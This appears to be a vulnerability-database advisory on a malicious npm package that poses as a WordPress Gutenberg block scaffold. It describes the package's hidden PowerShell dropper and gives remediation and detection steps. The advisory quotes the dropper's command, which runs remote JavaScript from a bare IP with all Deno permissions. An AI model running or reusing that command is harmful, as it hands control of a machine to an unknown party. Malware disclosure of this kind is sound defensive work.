my-tailwind-gutenberg-blocknpm
Advisory published Updated
my-tailwind-gutenberg-block is a confirmed malicious npm package (MAL-2026-10761) that executes malicious code on install (malicious versions 0.1.0, 0.1.2, 0.1.3…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in my-tailwind-gutenberg-block (npm)
What this malware does
The package advertises itself as a WordPress Gutenberg + Tailwind block scaffold (src/edit.js, src/save.js, block.json), but the tarball also contains setup.ps1, an undocumented PowerShell script unrelated to the stated purpose. When run, setup.ps1 installs Scoop, winget, and the Deno runtime on the user's Windows host, then invokes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — executing unpinned, unverified JavaScript fetched over plain HTTP from a bare IP with all Deno permissions granted (filesystem, network, environment, subprocess). Comments in the script self-describe the fetched code as a launcher-1 eval-loop that pulls launcher-2, which then sets up autorun and runs a main payload, indicating persistence. The mismatch between the advertised WordPress-block purpose and a Windows runtime dropper is a cover-story pattern; the bare-IP plain-HTTP delivery of a mutable script under a fully-permissioned alternate runtime is an install-time remote-code-execution vector against any developer who runs setup.ps1.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for my-tailwind-gutenberg-block (5 malicious versions).
If you installed it — respond
Remove my-tailwind-gutenberg-block from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If my-tailwind-gutenberg-block was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks my-tailwind-gutenberg-block-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.